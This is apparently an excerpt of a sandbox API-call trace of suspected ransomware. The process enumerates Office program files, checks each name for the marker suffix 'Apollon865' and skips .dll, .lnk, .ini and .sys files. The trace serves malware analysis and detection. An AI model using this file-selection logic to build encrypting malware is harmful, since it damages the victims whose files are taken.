	[0066.074] lstrcmpiW (lpString1="MSN.ICO", lpString2=".dll") returned 1
	[0066.075] lstrlenW (lpString=".lnk") returned 4
	[0066.075] lstrcmpiW (lpString1="MSN.ICO", lpString2=".lnk") returned 1
	[0066.075] lstrlenW (lpString=".ini") returned 4
	[0066.075] lstrcmpiW (lpString1="MSN.ICO", lpString2=".ini") returned 1
	[0066.075] lstrlenW (lpString=".sys") returned 4
	[0066.075] lstrcmpiW (lpString1="MSN.ICO", lpString2=".sys") returned 1
	[0066.075] lstrlenW (lpString="MSN.ICO") returned 7
	[0066.075] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSO0127.ACL" | out: lpString1="MSO0127.ACL") returned="MSO0127.ACL"
	[0066.075] lstrlenW (lpString="MSO0127.ACL") returned 11
	[0066.075] lstrlenW (lpString="Apollon865") returned 10
	[0066.075] lstrcmpiW (lpString1="SO0127.ACL", lpString2="Apollon865") returned 1
	[0066.075] lstrlenW (lpString=".dll") returned 4
	[0066.075] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".dll") returned 1
	[0066.075] lstrlenW (lpString=".lnk") returned 4
	[0066.075] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".lnk") returned 1
	[0066.075] lstrlenW (lpString=".ini") returned 4
	[0066.075] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".ini") returned 1
	[0066.075] lstrlenW (lpString=".sys") returned 4
	[0066.075] lstrcmpiW (lpString1="MSO0127.ACL", lpString2=".sys") returned 1
	[0066.075] lstrlenW (lpString="MSO0127.ACL") returned 11
	[0066.075] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOCF.DLL" | out: lpString1="MSOCF.DLL") returned="MSOCF.DLL"
	[0066.075] lstrlenW (lpString="MSOCF.DLL") returned 9
	[0066.075] lstrlenW (lpString="Apollon865") returned 10
	[0066.075] lstrlenW (lpString=".dll") returned 4
	[0066.075] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".dll") returned 1
	[0066.075] lstrlenW (lpString=".lnk") returned 4
	[0066.075] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".lnk") returned 1
	[0066.075] lstrlenW (lpString=".ini") returned 4
	[0066.075] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".ini") returned 1
	[0066.075] lstrlenW (lpString=".sys") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCF.DLL", lpString2=".sys") returned 1
	[0066.076] lstrlenW (lpString="MSOCF.DLL") returned 9
	[0066.076] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOCFU.DLL" | out: lpString1="MSOCFU.DLL") returned="MSOCFU.DLL"
	[0066.076] lstrlenW (lpString="MSOCFU.DLL") returned 10
	[0066.076] lstrlenW (lpString="Apollon865") returned 10
	[0066.076] lstrlenW (lpString=".dll") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".dll") returned 1
	[0066.076] lstrlenW (lpString=".lnk") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".lnk") returned 1
	[0066.076] lstrlenW (lpString=".ini") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".ini") returned 1
	[0066.076] lstrlenW (lpString=".sys") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCFU.DLL", lpString2=".sys") returned 1
	[0066.076] lstrlenW (lpString="MSOCFU.DLL") returned 10
	[0066.076] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOCFUIUTILITIESDLL.DLL" | out: lpString1="MSOCFUIUTILITIESDLL.DLL") returned="MSOCFUIUTILITIESDLL.DLL"
	[0066.076] lstrlenW (lpString="MSOCFUIUTILITIESDLL.DLL") returned 23
	[0066.076] lstrlenW (lpString="Apollon865") returned 10
	[0066.076] lstrcmpiW (lpString1="IESDLL.DLL", lpString2="Apollon865") returned 1
	[0066.076] lstrlenW (lpString=".dll") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".dll") returned 1
	[0066.076] lstrlenW (lpString=".lnk") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".lnk") returned 1
	[0066.076] lstrlenW (lpString=".ini") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".ini") returned 1
	[0066.076] lstrlenW (lpString=".sys") returned 4
	[0066.076] lstrcmpiW (lpString1="MSOCFUIUTILITIESDLL.DLL", lpString2=".sys") returned 1
	[0066.076] lstrlenW (lpString="MSOCFUIUTILITIESDLL.DLL") returned 23
	[0066.076] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSODCW.DLL" | out: lpString1="MSODCW.DLL") returned="MSODCW.DLL"
	[0066.076] lstrlenW (lpString="MSODCW.DLL") returned 10
	[0066.077] lstrlenW (lpString="Apollon865") returned 10
	[0066.077] lstrlenW (lpString=".dll") returned 4
	[0066.077] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".dll") returned 1
	[0066.077] lstrlenW (lpString=".lnk") returned 4
	[0066.077] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".lnk") returned 1
	[0066.077] lstrlenW (lpString=".ini") returned 4
	[0066.077] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".ini") returned 1
	[0066.077] lstrlenW (lpString=".sys") returned 4
	[0066.077] lstrcmpiW (lpString1="MSODCW.DLL", lpString2=".sys") returned 1
	[0066.077] lstrlenW (lpString="MSODCW.DLL") returned 10
	[0066.077] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOHEV.DLL" | out: lpString1="MSOHEV.DLL") returned="MSOHEV.DLL"
	[0066.077] lstrlenW (lpString="MSOHEV.DLL") returned 10
	[0066.077] lstrlenW (lpString="Apollon865") returned 10
	[0066.077] lstrlenW (lpString=".dll") returned 4
	[0066.077] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".dll") returned 1
	[0066.077] lstrlenW (lpString=".lnk") returned 4
	[0066.077] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".lnk") returned 1
	[0066.077] lstrlenW (lpString=".ini") returned 4
	[0066.077] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".ini") returned 1
	[0066.077] lstrlenW (lpString=".sys") returned 4
	[0066.077] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".sys") returned 1
	[0066.077] lstrlenW (lpString="MSOHEV.DLL") returned 10
	[0066.077] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOHEVI.DLL" | out: lpString1="MSOHEVI.DLL") returned="MSOHEVI.DLL"
	[0066.077] lstrlenW (lpString="MSOHEVI.DLL") returned 11
	[0066.077] lstrlenW (lpString="Apollon865") returned 10
	[0066.077] lstrcmpiW (lpString1="SOHEVI.DLL", lpString2="Apollon865") returned 1
	[0066.077] lstrlenW (lpString=".dll") returned 4
	[0066.077] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".dll") returned 1
	[0066.077] lstrlenW (lpString=".lnk") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".lnk") returned 1
	[0066.078] lstrlenW (lpString=".ini") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".ini") returned 1
	[0066.078] lstrlenW (lpString=".sys") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".sys") returned 1
	[0066.078] lstrlenW (lpString="MSOHEVI.DLL") returned 11
	[0066.078] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOHTMED.EXE" | out: lpString1="MSOHTMED.EXE") returned="MSOHTMED.EXE"
	[0066.078] lstrlenW (lpString="MSOHTMED.EXE") returned 12
	[0066.078] lstrlenW (lpString="Apollon865") returned 10
	[0066.078] lstrcmpiW (lpString1="OHTMED.EXE", lpString2="Apollon865") returned 1
	[0066.078] lstrlenW (lpString=".dll") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".dll") returned 1
	[0066.078] lstrlenW (lpString=".lnk") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".lnk") returned 1
	[0066.078] lstrlenW (lpString=".ini") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".ini") returned 1
	[0066.078] lstrlenW (lpString=".sys") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".sys") returned 1
	[0066.078] lstrlenW (lpString="MSOHTMED.EXE") returned 12
	[0066.078] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOSTYLE.DLL" | out: lpString1="MSOSTYLE.DLL") returned="MSOSTYLE.DLL"
	[0066.078] lstrlenW (lpString="MSOSTYLE.DLL") returned 12
	[0066.078] lstrlenW (lpString="Apollon865") returned 10
	[0066.078] lstrcmpiW (lpString1="OSTYLE.DLL", lpString2="Apollon865") returned 1
	[0066.078] lstrlenW (lpString=".dll") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".dll") returned 1
	[0066.078] lstrlenW (lpString=".lnk") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".lnk") returned 1
	[0066.078] lstrlenW (lpString=".ini") returned 4
	[0066.078] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".ini") returned 1
	[0066.078] lstrlenW (lpString=".sys") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".sys") returned 1
	[0066.079] lstrlenW (lpString="MSOSTYLE.DLL") returned 12
	[0066.079] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOSYNC.EXE" | out: lpString1="MSOSYNC.EXE") returned="MSOSYNC.EXE"
	[0066.079] lstrlenW (lpString="MSOSYNC.EXE") returned 11
	[0066.079] lstrlenW (lpString="Apollon865") returned 10
	[0066.079] lstrcmpiW (lpString1="SOSYNC.EXE", lpString2="Apollon865") returned 1
	[0066.079] lstrlenW (lpString=".dll") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".dll") returned 1
	[0066.079] lstrlenW (lpString=".lnk") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".lnk") returned 1
	[0066.079] lstrlenW (lpString=".ini") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".ini") returned 1
	[0066.079] lstrlenW (lpString=".sys") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".sys") returned 1
	[0066.079] lstrlenW (lpString="MSOSYNC.EXE") returned 11
	[0066.079] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOUC.EXE" | out: lpString1="MSOUC.EXE") returned="MSOUC.EXE"
	[0066.079] lstrlenW (lpString="MSOUC.EXE") returned 9
	[0066.079] lstrlenW (lpString="Apollon865") returned 10
	[0066.079] lstrlenW (lpString=".dll") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".dll") returned 1
	[0066.079] lstrlenW (lpString=".lnk") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".lnk") returned 1
	[0066.079] lstrlenW (lpString=".ini") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".ini") returned 1
	[0066.079] lstrlenW (lpString=".sys") returned 4
	[0066.079] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".sys") returned 1
	[0066.079] lstrlenW (lpString="MSOUC.EXE") returned 9
	[0066.079] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOUTL.OLB" | out: lpString1="MSOUTL.OLB") returned="MSOUTL.OLB"
	[0066.080] lstrlenW (lpString="MSOUTL.OLB") returned 10
	[0066.080] lstrlenW (lpString="Apollon865") returned 10
	[0066.080] lstrlenW (lpString=".dll") returned 4
	[0066.080] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".dll") returned 1
	[0066.080] lstrlenW (lpString=".lnk") returned 4
	[0066.080] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".lnk") returned 1
	[0066.080] lstrlenW (lpString=".ini") returned 4
	[0066.080] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".ini") returned 1
	[0066.080] lstrlenW (lpString=".sys") returned 4
	[0066.080] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".sys") returned 1
	[0066.080] lstrlenW (lpString="MSOUTL.OLB") returned 10
	[0066.080] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSOUTLS.DLL" | out: lpString1="MSOUTLS.DLL") returned="MSOUTLS.DLL"
	[0066.080] lstrlenW (lpString="MSOUTLS.DLL") returned 11
	[0066.080] lstrlenW (lpString="Apollon865") returned 10
	[0066.080] lstrcmpiW (lpString1="SOUTLS.DLL", lpString2="Apollon865") returned 1
	[0066.080] lstrlenW (lpString=".dll") returned 4
	[0066.080] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".dll") returned 1
	[0066.080] lstrlenW (lpString=".lnk") returned 4
	[0066.080] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".lnk") returned 1
	[0066.080] lstrlenW (lpString=".ini") returned 4
	[0066.080] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".ini") returned 1
	[0066.080] lstrlenW (lpString=".sys") returned 4
	[0066.080] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".sys") returned 1
	[0066.080] lstrlenW (lpString="MSOUTLS.DLL") returned 11
	[0066.080] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSPJEVTS.DLL" | out: lpString1="MSPJEVTS.DLL") returned="MSPJEVTS.DLL"
	[0066.080] lstrlenW (lpString="MSPJEVTS.DLL") returned 12
	[0066.080] lstrlenW (lpString="Apollon865") returned 10
	[0066.080] lstrcmpiW (lpString1="PJEVTS.DLL", lpString2="Apollon865") returned 1
	[0066.080] lstrlenW (lpString=".dll") returned 4
	[0066.080] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".dll") returned 1
	[0066.081] lstrlenW (lpString=".lnk") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".lnk") returned 1
	[0066.081] lstrlenW (lpString=".ini") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".ini") returned 1
	[0066.081] lstrlenW (lpString=".sys") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".sys") returned 1
	[0066.081] lstrlenW (lpString="MSPJEVTS.DLL") returned 12
	[0066.081] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSPPT.OLB" | out: lpString1="MSPPT.OLB") returned="MSPPT.OLB"
	[0066.081] lstrlenW (lpString="MSPPT.OLB") returned 9
	[0066.081] lstrlenW (lpString="Apollon865") returned 10
	[0066.081] lstrlenW (lpString=".dll") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".dll") returned 1
	[0066.081] lstrlenW (lpString=".lnk") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".lnk") returned 1
	[0066.081] lstrlenW (lpString=".ini") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".ini") returned 1
	[0066.081] lstrlenW (lpString=".sys") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".sys") returned 1
	[0066.081] lstrlenW (lpString="MSPPT.OLB") returned 9
	[0066.081] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSPRJ.OLB" | out: lpString1="MSPRJ.OLB") returned="MSPRJ.OLB"
	[0066.081] lstrlenW (lpString="MSPRJ.OLB") returned 9
	[0066.081] lstrlenW (lpString="Apollon865") returned 10
	[0066.081] lstrlenW (lpString=".dll") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".dll") returned 1
	[0066.081] lstrlenW (lpString=".lnk") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".lnk") returned 1
	[0066.081] lstrlenW (lpString=".ini") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".ini") returned 1
	[0066.081] lstrlenW (lpString=".sys") returned 4
	[0066.081] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".sys") returned 1
	[0066.081] lstrlenW (lpString="MSPRJ.OLB") returned 9
	[0066.082] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="msproof7.dll" | out: lpString1="msproof7.dll") returned="msproof7.dll"
	[0066.082] lstrlenW (lpString="msproof7.dll") returned 12
	[0066.082] lstrlenW (lpString="Apollon865") returned 10
	[0066.082] lstrcmpiW (lpString1="proof7.dll", lpString2="Apollon865") returned 1
	[0066.082] lstrlenW (lpString=".dll") returned 4
	[0066.082] lstrcmpiW (lpString1="msproof7.dll", lpString2=".dll") returned 1
	[0066.082] lstrlenW (lpString=".lnk") returned 4
	[0066.082] lstrcmpiW (lpString1="msproof7.dll", lpString2=".lnk") returned 1
	[0066.082] lstrlenW (lpString=".ini") returned 4
	[0066.082] lstrcmpiW (lpString1="msproof7.dll", lpString2=".ini") returned 1
	[0066.082] lstrlenW (lpString=".sys") returned 4
	[0066.082] lstrcmpiW (lpString1="msproof7.dll", lpString2=".sys") returned 1
	[0066.082] lstrlenW (lpString="msproof7.dll") returned 12
	[0066.082] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSPST32.DLL" | out: lpString1="MSPST32.DLL") returned="MSPST32.DLL"
	[0066.082] lstrlenW (lpString="MSPST32.DLL") returned 11
	[0066.082] lstrlenW (lpString="Apollon865") returned 10
	[0066.082] lstrcmpiW (lpString1="SPST32.DLL", lpString2="Apollon865") returned 1
	[0066.082] lstrlenW (lpString=".dll") returned 4
	[0066.082] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".dll") returned 1
	[0066.082] lstrlenW (lpString=".lnk") returned 4
	[0066.082] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".lnk") returned 1
	[0066.082] lstrlenW (lpString=".ini") returned 4
	[0066.082] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".ini") returned 1
	[0066.082] lstrlenW (lpString=".sys") returned 4
	[0066.082] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".sys") returned 1
	[0066.082] lstrlenW (lpString="MSPST32.DLL") returned 11
	[0066.083] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSPUB.EXE" | out: lpString1="MSPUB.EXE") returned="MSPUB.EXE"
	[0066.083] lstrlenW (lpString="MSPUB.EXE") returned 9
	[0066.083] lstrlenW (lpString="Apollon865") returned 10
	[0066.083] lstrlenW (lpString=".dll") returned 4
	[0066.083] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".dll") returned 1
	[0066.083] lstrlenW (lpString=".lnk") returned 4
	[0066.083] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".lnk") returned 1
	[0066.083] lstrlenW (lpString=".ini") returned 4
	[0066.083] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".ini") returned 1
	[0066.083] lstrlenW (lpString=".sys") returned 4
	[0066.083] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".sys") returned 1
	[0066.083] lstrlenW (lpString="MSPUB.EXE") returned 9
	[0066.083] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="mspub.exe.manifest" | out: lpString1="mspub.exe.manifest") returned="mspub.exe.manifest"
	[0066.083] lstrlenW (lpString="mspub.exe.manifest") returned 18
	[0066.083] lstrlenW (lpString="Apollon865") returned 10
	[0066.083] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0066.083] lstrlenW (lpString=".dll") returned 4
	[0066.083] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".dll") returned 1
	[0066.083] lstrlenW (lpString=".lnk") returned 4
	[0066.083] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".lnk") returned 1
	[0066.083] lstrlenW (lpString=".ini") returned 4
	[0066.083] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".ini") returned 1
	[0066.083] lstrlenW (lpString=".sys") returned 4
	[0066.083] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".sys") returned 1
	[0066.083] lstrlenW (lpString="mspub.exe.manifest") returned 18
	[0066.083] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSPUB.TLB" | out: lpString1="MSPUB.TLB") returned="MSPUB.TLB"
	[0066.083] lstrlenW (lpString="MSPUB.TLB") returned 9
	[0066.083] lstrlenW (lpString="Apollon865") returned 10
	[0066.084] lstrlenW (lpString=".dll") returned 4
	[0066.084] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".dll") returned 1
	[0066.084] lstrlenW (lpString=".lnk") returned 4
	[0066.084] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".lnk") returned 1
	[0066.084] lstrlenW (lpString=".ini") returned 4
	[0066.084] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".ini") returned 1
	[0066.084] lstrlenW (lpString=".sys") returned 4
	[0066.084] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".sys") returned 1
	[0066.084] lstrlenW (lpString="MSPUB.TLB") returned 9
	[0066.084] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSQRY32.EXE" | out: lpString1="MSQRY32.EXE") returned="MSQRY32.EXE"
	[0066.084] lstrlenW (lpString="MSQRY32.EXE") returned 11
	[0066.084] lstrlenW (lpString="Apollon865") returned 10
	[0066.084] lstrcmpiW (lpString1="SQRY32.EXE", lpString2="Apollon865") returned 1
	[0066.084] lstrlenW (lpString=".dll") returned 4
	[0066.084] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".dll") returned 1
	[0066.084] lstrlenW (lpString=".lnk") returned 4
	[0066.084] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".lnk") returned 1
	[0066.084] lstrlenW (lpString=".ini") returned 4
	[0066.084] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".ini") returned 1
	[0066.084] lstrlenW (lpString=".sys") returned 4
	[0066.084] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".sys") returned 1
	[0066.084] lstrlenW (lpString="MSQRY32.EXE") returned 11
	[0066.084] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSRTEDIT.DLL" | out: lpString1="MSRTEDIT.DLL") returned="MSRTEDIT.DLL"
	[0066.084] lstrlenW (lpString="MSRTEDIT.DLL") returned 12
	[0066.084] lstrlenW (lpString="Apollon865") returned 10
	[0066.084] lstrcmpiW (lpString1="RTEDIT.DLL", lpString2="Apollon865") returned 1
	[0066.084] lstrlenW (lpString=".dll") returned 4
	[0066.084] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".dll") returned 1
	[0066.084] lstrlenW (lpString=".lnk") returned 4
	[0066.084] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".lnk") returned 1
	[0066.085] lstrlenW (lpString=".ini") returned 4
	[0066.085] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".ini") returned 1
	[0066.085] lstrlenW (lpString=".sys") returned 4
	[0066.085] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".sys") returned 1
	[0066.085] lstrlenW (lpString="MSRTEDIT.DLL") returned 12
	[0066.085] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSTORDB.EXE" | out: lpString1="MSTORDB.EXE") returned="MSTORDB.EXE"
	[0066.085] lstrlenW (lpString="MSTORDB.EXE") returned 11
	[0066.085] lstrlenW (lpString="Apollon865") returned 10
	[0066.085] lstrcmpiW (lpString1="STORDB.EXE", lpString2="Apollon865") returned 1
	[0066.085] lstrlenW (lpString=".dll") returned 4
	[0066.085] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".dll") returned 1
	[0066.085] lstrlenW (lpString=".lnk") returned 4
	[0066.085] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".lnk") returned 1
	[0066.085] lstrlenW (lpString=".ini") returned 4
	[0066.085] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".ini") returned 1
	[0066.085] lstrlenW (lpString=".sys") returned 4
	[0066.085] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".sys") returned 1
	[0066.085] lstrlenW (lpString="MSTORDB.EXE") returned 11
	[0066.085] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSTORE.EXE" | out: lpString1="MSTORE.EXE") returned="MSTORE.EXE"
	[0066.085] lstrlenW (lpString="MSTORE.EXE") returned 10
	[0066.085] lstrlenW (lpString="Apollon865") returned 10
	[0066.085] lstrlenW (lpString=".dll") returned 4
	[0066.085] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".dll") returned 1
	[0066.085] lstrlenW (lpString=".lnk") returned 4
	[0066.085] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".lnk") returned 1
	[0066.085] lstrlenW (lpString=".ini") returned 4
	[0066.085] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".ini") returned 1
	[0066.085] lstrlenW (lpString=".sys") returned 4
	[0066.085] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".sys") returned 1
	[0066.085] lstrlenW (lpString="MSTORE.EXE") returned 10
	[0066.086] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSTORES.DLL" | out: lpString1="MSTORES.DLL") returned="MSTORES.DLL"
	[0066.086] lstrlenW (lpString="MSTORES.DLL") returned 11
	[0066.086] lstrlenW (lpString="Apollon865") returned 10
	[0066.086] lstrcmpiW (lpString1="STORES.DLL", lpString2="Apollon865") returned 1
	[0066.086] lstrlenW (lpString=".dll") returned 4
	[0066.086] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".dll") returned 1
	[0066.086] lstrlenW (lpString=".lnk") returned 4
	[0066.086] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".lnk") returned 1
	[0066.086] lstrlenW (lpString=".ini") returned 4
	[0066.086] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".ini") returned 1
	[0066.086] lstrlenW (lpString=".sys") returned 4
	[0066.086] lstrcmpiW (lpString1="MSTORES.DLL", lpString2=".sys") returned 1
	[0066.086] lstrlenW (lpString="MSTORES.DLL") returned 11
	[0066.086] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSWORD.OLB" | out: lpString1="MSWORD.OLB") returned="MSWORD.OLB"
	[0066.086] lstrlenW (lpString="MSWORD.OLB") returned 10
	[0066.086] lstrlenW (lpString="Apollon865") returned 10
	[0066.086] lstrlenW (lpString=".dll") returned 4
	[0066.086] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".dll") returned 1
	[0066.086] lstrlenW (lpString=".lnk") returned 4
	[0066.086] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".lnk") returned 1
	[0066.086] lstrlenW (lpString=".ini") returned 4
	[0066.086] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".ini") returned 1
	[0066.086] lstrlenW (lpString=".sys") returned 4
	[0066.086] lstrcmpiW (lpString1="MSWORD.OLB", lpString2=".sys") returned 1
	[0066.086] lstrlenW (lpString="MSWORD.OLB") returned 10
	[0066.086] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MSYUBIN7.DLL" | out: lpString1="MSYUBIN7.DLL") returned="MSYUBIN7.DLL"
	[0066.086] lstrlenW (lpString="MSYUBIN7.DLL") returned 12
	[0066.086] lstrlenW (lpString="Apollon865") returned 10
	[0066.086] lstrcmpiW (lpString1="YUBIN7.DLL", lpString2="Apollon865") returned 1
	[0066.087] lstrlenW (lpString=".dll") returned 4
	[0066.087] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".dll") returned 1
	[0066.087] lstrlenW (lpString=".lnk") returned 4
	[0066.087] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".lnk") returned 1
	[0066.087] lstrlenW (lpString=".ini") returned 4
	[0066.087] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".ini") returned 1
	[0066.087] lstrlenW (lpString=".sys") returned 4
	[0066.087] lstrcmpiW (lpString1="MSYUBIN7.DLL", lpString2=".sys") returned 1
	[0066.087] lstrlenW (lpString="MSYUBIN7.DLL") returned 12
	[0066.087] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MYSL.ICO" | out: lpString1="MYSL.ICO") returned="MYSL.ICO"
	[0066.087] lstrlenW (lpString="MYSL.ICO") returned 8
	[0066.087] lstrlenW (lpString="Apollon865") returned 10
	[0066.087] lstrlenW (lpString=".dll") returned 4
	[0066.087] lstrcmpiW (lpString1="MYSL.ICO", lpString2=".dll") returned 1
	[0066.087] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NAME.DLL" | out: lpString1="NAME.DLL") returned="NAME.DLL"
	[0066.087] lstrlenW (lpString="NAME.DLL") returned 8
	[0066.087] lstrlenW (lpString="Apollon865") returned 10
	[0066.087] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="NAMECONTROLPROXY.DLL" | out: lpString1="NAMECONTROLPROXY.DLL") returned="NAMECONTROLPROXY.DLL"
	[0066.087] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20
	[0066.087] lstrlenW (lpString="Apollon865") returned 10
	[0066.087] lstrcmpiW (lpString1="LPROXY.DLL", lpString2="Apollon865") returned 1
